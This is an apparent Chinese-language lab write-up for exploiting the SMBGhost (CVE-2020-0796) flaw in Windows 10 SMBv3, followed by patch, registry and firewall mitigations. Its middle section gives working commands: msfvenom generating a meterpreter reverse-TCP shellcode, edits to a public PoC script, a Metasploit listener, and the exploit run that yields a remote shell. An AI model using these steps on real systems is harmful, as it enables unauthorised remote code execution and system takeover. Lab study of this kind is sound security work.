前言:前言:小编也是现学现卖,方便自己记忆,写的不好的地方多多包涵,希望各位大佬多多批评指正。
漏洞概述: 攻击者可以精心构造数据包发送到SMB服务器,无需经过身份验证,即可在目标服务器上执行任意代码。攻击者可通过部署一台恶意SMB v3服务器,并诱导用户(客户端)连接到该服务器,一旦目标用户连接,即可在计算机上执行攻击者自定义的恶意代码。
影响版本:
• Windows 10 Version 1903 for 32-bit Systems
• Windows 10 Version 1903 for ARM64-based Systems
• Windows 10 Version 1903 for x64-based Systems
• Windows 10 Version 1909 for 32-bit Systems
• Windows 10 Version 1909 for ARM64-based Systems
• Windows 10 Version 1909 for x64-based Systems
• Windows Server, version 1903 (Server Core installation)
• Windows Server, version 1909 (Server Core installation)
==================================================
靶场环境:windows 10 Version 1903 、 kali
win10 ip:192.168.0.102
kali ip: 192.168.0.107
工具: MSF 、 SMBGhost_RCE_PoC
==================================================
1.利用 meterpreter模块,生成二进制的Shellcode
思路:本漏洞是远程代码执行,执行payload 使用meterpreter模块
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1111 -b "\x00" -f python
// 这里的主机是kali本机端口,端口随意设置, -b 是以二进制输入 -f 选择格式
==================================================
2.复制二进制内容到 exploit.py中
将下载好的 SMBGhost_RCE_PoC 攻击工具复制到kali中,解压后文件。
复制生成出来的二进制编码,把原来exploit.py的字节码替代掉。
cp exploit.py exploit2.py //进入到下载的工具目录,将文件复制一份
mosepad exploit2.py //用记事本的方式打开文档
删除红色的二进制代码,留下最后一行。
USER_PAYLOAD += “\xa7\x94\x82\xa1”
修改最后一行的变量等于buf保存退出
USER_PAYLOAD = buf
==================================================
3.msf 开启监听
sudo msfconsole
use exploit/multi/handler //进入监听模块
set payload windows/x64/meterpreter/reverse_tcp //配置payload
set LHOST 192.168.0.107 //kali ip 必须和之前生成二进制code的ip一样
set LPORT 1111 //端口一致
exploit
==================================================
4.启动exploit.py脚本
python3 exploit2.py -ip 192.168.0.102 //该ip是win10 ip
//成功获取目标shell
==================================================
注意细节:
- 目标是win10,内存尽量给大一点(4-8G),为了稳定
- 在正式攻击之前,重启一下win10系统
- 重启后稍等20秒,等待系统服务加载完毕
漏洞防御:
1.补丁更新:KB4551762
2.禁用SMBv3压缩
方法一:使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
3.设置防火墙策略
在边界防火墙做好安全策略阻止SMB通信流出企业内部,详情可参考微软官方的指南:
https://support.microsoft.com/zh-cn/help/3185535/preventing-smb-traffic-from-lateral-connections